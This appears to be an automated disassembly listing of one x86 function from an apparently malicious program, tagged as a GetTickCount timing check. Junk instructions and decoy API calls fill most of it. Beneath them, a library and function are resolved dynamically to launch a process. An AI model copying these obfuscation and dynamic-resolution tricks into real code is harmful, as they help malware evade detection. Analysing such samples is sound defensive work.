Function at 0x4f427c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00405a60
xor eax, eax
push ebp
push 0x4f48c7
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.user32.dll_IsWindow
push edi
nop
nop
nop
nop
nop
sub edi, 0x9a
mov edi, 0xd8
sub edi, 0x193
dec edi
mov edi, 0x72
add edi, 0xd9
mov edi, 0x7f
xchg edi, edi
or edi, 0xd3
pop edi
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x44
call fcn.00403514
push 1
call sub.gdi32.dll_DeleteColorSpace
push edi
sub edi, 0x1a9
and edi, 0x185
xor edi, 0x78
push edi
pop edi
mov edi, 0x1d
push edi
pop edi
pop edi
push ebx
push 0x4f48e8
push esi
lea eax, [ebp - 8]
mov edx, 3
call fcn.00405eec
push 1
call sub.user32.dll_GetListBoxInfo
push eax
push eax
pop eax
mov eax, 0x104
add eax, 0xef
push eax
pop eax
mov eax, 0x9a
or eax, 0x193
add eax, 0x89
or eax, 0x20
sub eax, 0x12e
pop eax
mov byte [ebp - 9], 1
cmp dword [ebp - 4], 0
jne 0x4f437e
lea edx, [ebp - 0x64]
mov eax, ebx
call fcn.0040c668
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 4]
call fcn.0041209c
push 1
call sub.kernel32.dll_SetErrorMode
push esi
push ebx
xor esi, 0xcc
xor ebx, 0xe6
nop
nop
nop
nop
or esi, 0xf9
inc esi
and ebx, 0x4b
dec esi
dec esi
or ebx, 0xe5
pop ebx
pop esi
mov dword [ebp - 0x50], 0x44
push 1
call sub.user32.dll_GetListBoxInfo
push eax
push eax
pop eax
mov eax, 0x104
add eax, 0xef
push eax
pop eax
mov eax, 0x9a
or eax, 0x193
add eax, 0x89
or eax, 0x20
sub eax, 0x12e
pop eax
lea ecx, [ebp - 0x68]
mov edx, 0xd
mov eax, 0x4f48f8
call fcn.004f3c88
mov eax, dword [ebp - 0x68]
call fcn.00405b04
push eax
call sub.kernel32.dll_LoadLibraryW
mov ebx, eax
push ebx
xor ebx, 0xdc
sub ebx, 8
push ebx
pop ebx
nop
nop
or ebx, 0x56
mov ebx, 0x85
xchg ebx, ebx
inc ebx
xor ebx, 0x116
and ebx, 0x8a
sub ebx, 0x84
pop ebx
push 1
call sub.user32.dll_IsMenu
push eax
and eax, 0x16d
nop
nop
nop
nop
nop
dec eax
sub eax, 0x59
sub eax, 9
inc eax
nop
nop
nop
nop
and eax, 0xc7
inc eax
dec eax
or eax, 0x12f
pop eax
lea ecx, [ebp - 0x6c]
mov edx, 5
mov eax, 0x4f4950
call fcn.004f3c88
mov eax, dword [ebp - 0x6c]
call fcn.00405b04
push eax
push ebx
call fcn.004087b0
mov esi, eax
push edx
or edx, 0xf7
and edx, 0x36
nop
nop
nop
nop
add edx, 0xb2
add edx, 0x16c
nop
nop
nop
nop
nop
xchg edx, edx
add edx, 0x10a
xchg edx, edx
nop
nop
inc edx
inc edx
nop
nop
nop
pop edx
call sub.kernel32.dll_GetCurrentProcessId
push edi
inc edi
add edi, 0x4a
nop
nop
nop
nop
add edi, 0x98
nop
nop
and edi, 0x13d
dec edi
push edi
pop edi
or edi, 0x4c
and edi, 0x87
sub edi, 0x57
xor edi, 0x10c
nop
nop
dec edi
xchg edi, edi
pop edi
mov dword [ebp - 0x24], 1
push eax
inc eax
add eax, 0x159
nop
nop
nop
nop
nop
push eax
pop eax
push eax
pop eax
or eax, 0xc
inc eax
pop eax
push 1
call sub.user32.dll_IsMenu
push eax
and eax, 0x16d
nop
nop
nop
nop
nop
dec eax
sub eax, 0x59
sub eax, 9
inc eax
nop
nop
nop
nop
and eax, 0xc7
inc eax
dec eax
or eax, 0x12f
pop eax
mov word [ebp - 0x20], 0
push edi
and edi, 0xb2
push edi
pop edi
mov edi, 0x156
push edi
pop edi
add edi, 0x135
push edi
pop edi
pop edi
cmp dword [ebp - 4], 0
je 0x4f456c
lea eax, [ebp - 0x70]
mov edx, dword [ebp - 4]
mov ecx, 0
call fcn.00405c8c
mov eax, dword [ebp - 0x70]
call fcn.004053b8
mov ebx, eax
jmp 0x4f456e
xor ebx, ebx
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x74]
mov edx, dword [ebp - 8]
mov ecx, 0
call fcn.00405c8c
mov eax, dword [ebp - 0x74]
call fcn.004053b8
push eax
push 0
call esi
test eax, eax
jne 0x4f46fb
call sub.kernel32.dll_GetCurrentProcessId
push edi
inc edi
add edi, 0x4a
nop
nop
nop
nop
add edi, 0x98
nop
nop
and edi, 0x13d
dec edi
push edi
pop edi
or edi, 0x4c
and edi, 0x87
sub edi, 0x57
xor edi, 0x10c
nop
nop
dec edi
xchg edi, edi
pop edi
mov byte [ebp - 9], 0
push 1
call sub.user32.dll_IsWindow
push edi
nop
nop
nop
nop
nop
sub edi, 0x9a
mov edi, 0xd8
sub edi, 0x193
dec edi
mov edi, 0x72
add edi, 0xd9
mov edi, 0x7f
xchg edi, edi
or edi, 0xd3
pop edi
call sub.kernel32.dll_GetLastError
mov edx, dword [ebp + 8]
mov dword [edx], eax
push 1
call sub.user32.dll_IsWindow
push edi
nop
nop
nop
nop
nop
sub edi, 0x9a
mov edi, 0xd8
sub edi, 0x193
dec edi
mov edi, 0x72
add edi, 0xd9
mov edi, 0x7f
xchg edi, edi
or edi, 0xd3
pop edi
jmp 0x4f4892
push 1
call sub.user32.dll_IsMenu
push eax
and eax, 0x16d
nop
nop
nop
nop
nop
dec eax
sub eax, 0x59
sub eax, 9
inc eax
nop
nop
nop
nop
and eax, 0xc7
inc eax
dec eax
or eax, 0x12f
pop eax
call sub.kernel32.dll_GetCurrentProcessId
push edi
inc edi
add edi, 0x4a
nop
nop
nop
nop
add edi, 0x98
nop
nop
and edi, 0x13d
dec edi
push edi
pop edi
or edi, 0x4c
and edi, 0x87
sub edi, 0x57
xor edi, 0x10c
nop
nop
dec edi
xchg edi, edi
pop edi
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle_1
call sub.kernel32.dll_GetTickCount
push edx
push ecx
push edx
pop edx
and ecx, 0x98
mov edx, pe_nt_image_headers32
xor edx, 0x16
mov ecx, 0x107
or ecx, 0x26
and edx, 0x197
mov ecx, 0xa1
xchg ecx, ecx
and edx, 0x35
add ecx, 0x180
xchg ecx, ecx
pop ecx
pop edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x60]
push eax
call sub.kernel32.dll_WaitForSingleObject
push edx
dec edx
xchg edx, edx
inc edx
dec edx
nop
nop
nop
nop
mov edx, 0x169
or edx, 0x156
nop
nop
nop
xchg edx, edx
xchg edx, edx
add edx, 0xf2
pop edx
push 1
call sub.gdi32.dll_DeleteColorSpace
push edi
sub edi, 0x1a9
and edi, 0x185
xor edi, 0x78
push edi
pop edi
mov edi, 0x1d
push edi
pop edi
pop edi
mov eax, dword [ebp - 0x60]
push eax
call sub.kernel32.dll_CloseHandle_1
push 1
call sub.kernel32.dll_SetErrorMode
push eax
push ecx
push eax
pop eax
mov eax, 0x18
inc ecx
inc ecx
nop
inc eax
sub eax, 0xe8
pop ecx
pop eax
push esi
push ebx
xor esi, 0xcc
xor ebx, 0xe6
nop
nop
nop
nop
or esi, 0xf9
inc esi
and ebx, 0x4b
dec esi
dec esi
or ebx, 0xe5
pop ebx
pop esi
push 1
call sub.gdi32.dll_DeleteColorSpace
push edi
sub edi, 0x1a9
and edi, 0x185
xor edi, 0x78
push edi
pop edi
mov edi, 0x1d
push edi
pop edi
pop edi
call sub.kernel32.dll_GetTickCount
push edx
push ecx
push edx
pop edx
and ecx, 0x98
mov edx, pe_nt_image_headers32
xor edx, 0x16
mov ecx, 0x107
or ecx, 0x26
and edx, 0x197
mov ecx, 0xa1
xchg ecx, ecx
and edx, 0x35
add ecx, 0x180
xchg ecx, ecx
pop ecx
pop edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f48ce
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00404f60
lea eax, [ebp - 0x6c]
mov edx, 3
call fcn.00405a70
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405a70
ret